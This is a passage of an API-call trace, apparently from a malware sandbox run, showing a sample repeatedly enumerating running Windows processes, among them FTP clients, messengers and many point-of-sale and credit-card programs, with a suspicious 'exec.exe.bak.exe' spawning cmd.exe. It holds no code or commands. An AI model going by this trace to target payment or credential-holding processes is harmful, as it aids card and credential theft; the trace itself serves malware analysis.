lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0106.305] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0106.306] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0106.308] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0106.310] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0106.311] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0106.312] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0106.314] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0106.315] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0106.317] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0106.318] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0106.320] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0106.322] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0106.459] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0106.460] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0106.463] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0106.464] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0106.465] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0106.468] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0106.469] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0106.471] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0106.472] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0106.473] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0106.474] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0106.475] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0106.476] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nascar_challenges.exe")) returned 1 [0106.504] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments characterized converter.exe")) returned 1 [0106.505] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mlb-noon-origin.exe")) returned 1 [0106.506] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.507] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0106.508] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.509] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0106.510] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.511] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0106.512] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0106.512] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0106.514] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.515] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1188, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.516] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.516] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0106.517] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0106.519] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0106.520] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0106.521] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1164, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.521] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xef0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.522] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0106.523] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0106.524] CloseHandle (hObject=0x324) returned 1 [0106.524] Sleep (dwMilliseconds=0x1f4) [0109.502] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304 [0109.509] Process32FirstW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.510] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0109.511] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0109.511] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.512] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0109.514] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.515] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0109.515] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0109.516] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0109.517] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.518] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0109.518] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0109.519] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.519] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0109.520] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.521] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.522] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.522] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.523] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.524] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.524] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.525] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.526] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.526] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.527] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0109.527] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.528] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0109.529] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0109.530] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.530] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0109.531] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0109.532] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0109.532] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0109.533] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0109.534] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0109.535] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0109.535] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: 